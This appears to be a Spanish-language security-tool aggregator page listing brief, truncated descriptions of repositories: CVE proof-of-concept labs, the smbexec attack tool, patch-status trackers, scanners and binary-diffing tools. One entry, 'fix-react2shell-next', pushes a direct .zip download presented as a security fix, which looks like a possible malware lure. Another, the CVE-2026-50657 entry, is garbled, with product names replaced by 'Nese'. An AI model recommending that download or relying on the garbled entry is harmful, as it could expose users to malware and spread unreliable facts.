ovswrap

OVSwrap — Sitio de seguimiento de desbordamiento del datapath Open vSwitch del kernel Linux Fuente del rastreador de estado de parches OVSwrap : un sitio de una sola página que registra qué distribuciones han publicado una corrección para el desbordamiento del datapath Open vSwitch en el kernel...

cve-2020-17057

cve-2020-17057 cve-2020-17057 poc Microsoft lanzó un parche el 10 de noviembre de 2020...

smbexec

root@kitploit: smbexec A rapid psexec style attack with samba tools Original Concept and Script by Brav0Hax & PureHate Ported to ruby and modified by Smilingraccoon and Zeknox Codename - Machiavellian Written because we got sick of Metasploit PSExec getting popped Special thanks to Carnal0wnage...

fix-react2shell-next

🚀 fix-react2shell-next - Arregla vulnerabilidades en tu aplicación https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip 📥 Descargar ahora 📝 Resumen fix-react2shell-next te ayuda a solucionar un problema crítico de seguridad en tu aplicación...

CVE-2022-21449-vuln-test

CVE-2022-21449 Probador de vulnerabilidad Introducción Hay una nueva CVE-2022-21449 que tiene un error en la verificación de firmas ECDSA. Es uno de los algoritmos utilizados con JWT, por ejemplo. Citando la publicación del blog Si ha implementado Java 15, Java 16, Java 17 o Java 18 en producción...

AutoPiff

AutoPiff Marco Automatizado de Inteligencia y Detección de Parches Un motor de análisis semántico para detectar correcciones de vulnerabilidades en parches de controladores del kernel de Windows. AutoPiff utiliza reglas YAML conservadoras para identificar cambios de código relevantes para la...

CVE-2026-50657

The CVE-2026-50657 Affected the CVE-2026-50657 exploit: Nese Vista, Nese Server 2008, Nese 7 with Service Pack 2, Nese Server 2008 R2 with Service Pack 1, Nese Storage Server 2012, Nese 9, Nese Server 2012 R2, Nese 10, Nese 11 BETA Nese 7 with Service Pack 2 Original Patch: June 30, 2026 with Nes...

SCCMVersionGuesser

SCCMVersionGuesser Herramienta automatizada de detección del nivel de compilación y parches de SCCM Requisitos requests Uso root@kitploit: $ python3 SCCMVersionGuesser.py https://sccm.example.com Referencia https://learn.microsoft.com/en-us/intune/configmgr/hotfix/...

Chrome-and-Edge-Version-Dumper

Chrome-and-Edge-Version-Dumper Script de Powershell que vuelca la versión de Chrome y Edge a un archivo de texto para determinar si necesitas actualizar debido a CVE-2022-1096 Asegúrate de editar las rutas antes de usar Y crea la carpeta donde se almacenará la salida...

CVE_Prioritizer

CVE Prioritizer CVE Prioritizer is a powerful tool that helps you prioritize vulnerability patching by combining CVSS, EPSS, CISA's Known Exploited Vulnerabilities and VulnCheck's community resources NVD++, KEV. It provides valuable insights into the likelihood of exploitation and the potential...

VAXD

VAXD VAXD es un desensamblador ligero para Windows, una herramienta de inspección de PE, una herramienta de inspección de binarios MultiCPU y un entorno de asistencia para parches. Está diseñado para el análisis rápido de archivos ejecutables, imágenes de firmware, binarios, documentos de Office,...

icu-74-debian

icu-74-debian Archivos de compilación de Debian para icu 74.2 con un parche para corregir CVE-2025-5222 Necesitas descargar y extraer icu74.2.orig.tar.gz para configurar tu árbol de fuentes. Clona este repositorio en algún lugar con el siguiente comando :- root@kitploit: git clone...

CVE-2024-4577

Vulnerabilidad de ejecución remota de código en PHP-CGI para Windows CVE-2024-4577 Introducción PHP es el acrónimo de Hypertext Preprocessor Preprocesador de Hipertexto, es un lenguaje de scripting de código abierto ampliamente utilizado, especialmente adecuado para el desarrollo web y la inserci...

CVE-2023-34051

CVE-2023-34051 CVE-2023-34051 es una omisión de autenticación que elude el parche para VMSA-2023-0001. VMSA-2023-0001 para vRealize Log Insight incluye los siguientes CVEs: Vulnerabilidad de Directory Traversal en VMware vRealize Log Insight CVE-2022-31706 Vulnerabilidad de control de acceso roto...

diaphora-mcp

Читать на русском языке Diaphora MCP Diaphora MCP is an MCP Model Context Protocol server for automated binary diffing. It connects Diaphora the diffing engine and IDA Pro the disassembler via the MCP protocol, allowing AI agents such as Claude Code to perform binary file comparison, find securit...

CVE-2017-8046

DESCARGO DE RESPONSABILIDAD: Este repositorio es complementario al artículo del blog de VGS, Cómo evitar "usar componentes con vulnerabilidades conocidas". Contiene una aplicación con una vulnerabilidad de seguridad conocida concretamente, CVE-2017-8046, así como la descripción de cómo explotarla...

cve-2022-24785-poc-lab

Resumen Esta es una aplicación Node Express simple utilizada para explorar la vulnerabilidad de path traversal de Moment.js CVE-2022-24785. Configuración root@kitploit: git clone https://github.com/pS3ud0RAnD0m/momentjs.git cd momentjs cat package.json Change 'moment' to '2.29.4' if wanting to te...

januscape

Januscape — Sitio de seguimiento del escape de invitado a host en KVM/x86 de Linux Código fuente del rastreador de estado de parches Januscape : un sitio de una sola página que registra qué distribuciones han publicado una corrección para el escape de invitado a host de KVM/x86 en el kernel de...

ipv6_frag_escape

IPV6FRAGESCAPE — Linux IPv6 fragmentation container escape tracking site Source for the IPV6FRAGESCAPE patch-status tracker: a single-page site recording which distributions have shipped a fix for the IPv6 fragmentation container escape in the Linux kernel. Where the facts live Everything about t...

CVE-2011-2461_Magento_Patch

CVE-2011-2461MagentoPatch By Edmonds Commerce This CVE relates to a CSRF vulnerability in the Adobe Flex .swf files used by Magento. You can find more information regarding the CVE here: Peter O'Callaghan - Magento CSRF vulnerability via Adobe Flex Minded Security - The old is new, again...